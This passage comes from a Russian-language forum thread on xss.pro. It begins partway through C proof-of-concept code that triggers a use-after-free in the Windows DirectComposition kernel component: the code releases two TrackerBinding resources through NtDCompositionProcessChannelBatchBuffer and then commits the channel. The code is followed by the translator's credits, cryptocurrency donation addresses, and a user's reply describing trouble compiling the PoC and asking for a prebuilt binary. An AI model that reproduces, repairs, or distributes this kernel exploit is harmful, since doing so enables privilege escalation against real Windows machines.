    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to Release Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Release the Second TrackerBinding Object\n");
    *(DWORD*)(pMappedAddress) = nCmdReleaseResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to Release Direct Composition Resource\n");
        exit(-1);
    }

    printf("[*] UAF situation can be triggerd when the channel is committed\n");

    DWORD out1;
    BOOL out2;
    BOOL in1 = FALSE;

    NtDCompositionCommitChannel(hChannel, &out1, &out2, in1, NULL);
}


Еще раз спасибо JeongOh Kyea за подробный обзор и PoC. За последние пару лет он внес несколько ошибок Windows в программу ZDI, и мы, безусловно, надеемся получить от него больше сообщений в будущем. А пока следите за командой, чтобы узнать о последних методах использования уязвимостей и исправлениях безопасности.

От ТС
Спасибо admin за предложенный материал.
Оригинал доступен тут

Перевод:
Azrv3l cпециально для xss.pro

BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
 
Добрый день, спасибо за перевод статьи.
У меня возникли некоторые вопросы по поводу PoC, а именно его компиляции, т.к при попытки его скомпилировать вылетала ошибка вида -"Run-Time Check Failure #0". Первоночальную проблему удалось решить добавлением "_stdcall" в определении структуры, но теперь исходя из этого сомнения в том, что готовый скомпилированный PoC, возможно работает явно не так - как задумывалось, попытка эскплуатации заканчивается с ошибкой "[-] Fail to create Direct Composition Resource", компилировалось в VS2019 v142.
Если у вас имеется готовый, скомпилированный Poc, могли бы вы им поделиться?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх